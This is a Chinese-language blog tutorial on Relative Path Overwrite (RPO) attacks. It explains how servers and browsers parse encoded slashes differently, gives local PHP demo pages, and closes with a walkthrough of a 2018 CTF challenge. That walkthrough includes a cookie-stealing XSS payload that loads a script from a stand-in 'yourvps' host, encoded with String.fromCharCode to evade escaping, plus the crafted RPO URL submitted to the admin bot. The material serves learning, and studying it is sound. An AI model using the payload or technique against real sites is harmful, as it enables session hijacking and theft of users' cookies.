前段时间听学长谈到过RPO,但自己却从来没听说过这个名词。随后自己百度谷歌了一些与RPO有关的文章,所以就有了此文。
什么是RPO攻击
RPO (Relative Path Overwrite)相对路径覆盖,是一种新型攻击技术。通俗点来说就是利用服务器与浏览器对URL解析的差异,将页面中使用相对路径引入的静态资源文件解析成其他资源文件或者我们可以控制内容的页面,从而导致XSS、信息泄露等漏洞的产生。
利用条件
- Apache 配置错误导致AllowEncodedSlashes这个选项开启(默认关闭),或者nginx服务器。
- 存在相对路径的js或者css的引用
解析差异
服务器对%2f的解析
默认情况下Apache与Nginx 对URL中的%2f
处理是不同的。
当Apache没有开启AllowEncodedSlashes
这个选项时,不会对URL中的%2f
进行解码,页面返回404。
Nginx默认会对URL中的%2f
进行解码。
客户端浏览器对%2f的解析
Nginx服务器对于编码后的URL可以正常识别,也就是说会对%2f解码然后找到具体的文件并返回给客户端。
但是客户端浏览器识别URL时是不会进行解码的。
简单的利用
例如有index.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
<script type="text/javascript" src="test.js"></script>
</head>
<body>
<?php echo "RPO test"; ?>
</body>
</html>
同目录下的test.js
为空,同目录下的RPO文件夹中有一个同名的test.js,内容为alert('Smi1e');
如果正常访问index.php并不会弹窗,此时加载的为根目录下的js文件
当我们访问http://127.0.0.1/Smi1e/RPO/..%2findex.php
此时服务器端解析的URL为http://127.0.0.1/Smi1e/RPO/..%2findex.php,也就是http://127.0.0.1/Smi1e/index.php
,会返回给客户端正常的index.php页面
而由于这里加载的js使用的是相对路径,且浏览器不会对%2f进行解码,它把..%2findex.php
当作文件名,并根据最后一个/作为当前目录,再通过相对路径知道js文件的地址,因此客户端浏览器加载的js路径为/Smi1e/RPO/test.js
,因此会弹窗。
这里简单的实现了一下RPO攻击,加载任意目录下的js文件,不过这个利用条件在实际环境中有点鸡肋。
但是还有一种常见的利用场景,就是下面要说的pathinfo模式
pathinfo模式
pathinfo模式指的是是URL的路径实际上不存在的时候,apache或者Nginx等通过一定的手段将实际不存在路径保存到环境变量$_SERVER['PATH_INFO']
中,也可以将它转化为$_GET['test']
参数。
格式
http://域名/项目名/入口文件/模块名/方法名/键1/值1/键2/值2
例如访问模块IndexAction.class.php下边的test方法
http://localhost/index.php?m=Index&a=test
等同于 http://localhost/index.php/Index/test
那么假如现在有inedx.php
<html lang="en">
<body>
<link href="stycle.css" rel="stylesheet" />
<?php echo ($_SERVER['PHP_SELF']);?>
</body>
</html>
直接访问index.php加载的为正常的css文件。
但是这里加载css依然使用的是相对路径,当我们访问http://127.0.0.1/Smi1e/index.php/xxx/
时,可以发现浏览器加载的css文件位置变成了目录xxx 下。
且实际加载的css文件内容变成了服务器端返回的index.php,也就是说把服务器端返回的index.php当作css来解析了。
注入{}*{color:blue}
这里用到了CSS解析器的一个特性:浏览器在解析CSS样式时,会忽略非法的部分,直到找到正确的开始然后进行解析一直到结束。所以我们上面植入CSS代码,欺骗CSS解析器忽略之前不合法的语法内容,从而加载我们注入的CSS内容,最终页面变成渲染后的蓝色。
实战
2018强网杯的share your mind环境找了很久没找到,说一下思路好了。
题目给了一个简单的分享平台,左侧的write atticle界面可以写入用户自定义的内容
在write里面输入的尖括号等标签都会被完全转义之后显示在overview中。
且URL为/index.php/view/article/xxx
Reports界面存在一个提交URL的地方,且提交的url都会被后台的bot请求。
发现index.php中存在一个相对路径引用
<script src="static/js/jquery.min.js"></script>
<script src="/static/js/bootstrap.min.js"></script>
现在我们有了一个使用相对路径引用的js,也有了一个可以控制内容的页面,还有一个会请求自定义URL的bot。
且访问http://39.107.33.96:20000/index.php%2fview
发现服务端正常返回 view 界面的内容
访问http://39.107.33.96:20000/index.php/view/test123/
结果同上
这里满足了RPO攻击的所有条件。
思路:我们可以构造特殊的url,让后台bot访问它并把我们可控的页面内容当作js来解析。
这里要知道js文件要求文件内所有内容必须满足其语法要求,只要出现一处错误就会error。
而CSS文件只要文件内容有一部分满足 css 语法要求的代码,就可以正常解析。
但是这里当我们提交自定义内容时会发现最后多了一个h1标签,不满足js语法。因此最终并不会解析。最后发现只要让Title为空,就不会出现h1标签。
因此我们可以提交如下代码获取cookie
document.write("<script src=http://yourvps/myjs/cookie.js></script>");
但是因为尖括号被转义了,我们可以使用 eval() 和 String.fromCharCode()来绕过。
String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,34,60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,121,111,117,114,118,112,115,47,109,121,106,115,47,99,111,111,107,105,101,46,106,115,62,60,47,115,99,114,105,112,116,62,34,41,59)
然后构造
http://39.107.33.96:20000/index.php/view/article/1654/..%2f..%2f..%2f..%2f
提交给后台机器人。
此时根据RPO攻击原理服务器端解析的URL为http://39.107.33.96:20000/index.php
而客户端浏览器加载的为http://39.107.33.96:20000/index.php/view/article/1654/static/js/jquery.min.js
而此时由于在pathinfo模式下,且服务器在找到有内容的页面后,不会解析后续没有意义的目录。此时浏览器去请求http://39.107.33.96:20000/index.php/view/article/1654/static/js/jquery.min.js
服务器端返回给客户端浏览器的却是/index.php/view/article/1654
的内容。而浏览器并不知情,所以就把返回的内容也就是我们提交的文章内容当作js来解析了。从而构成了一次xss攻击。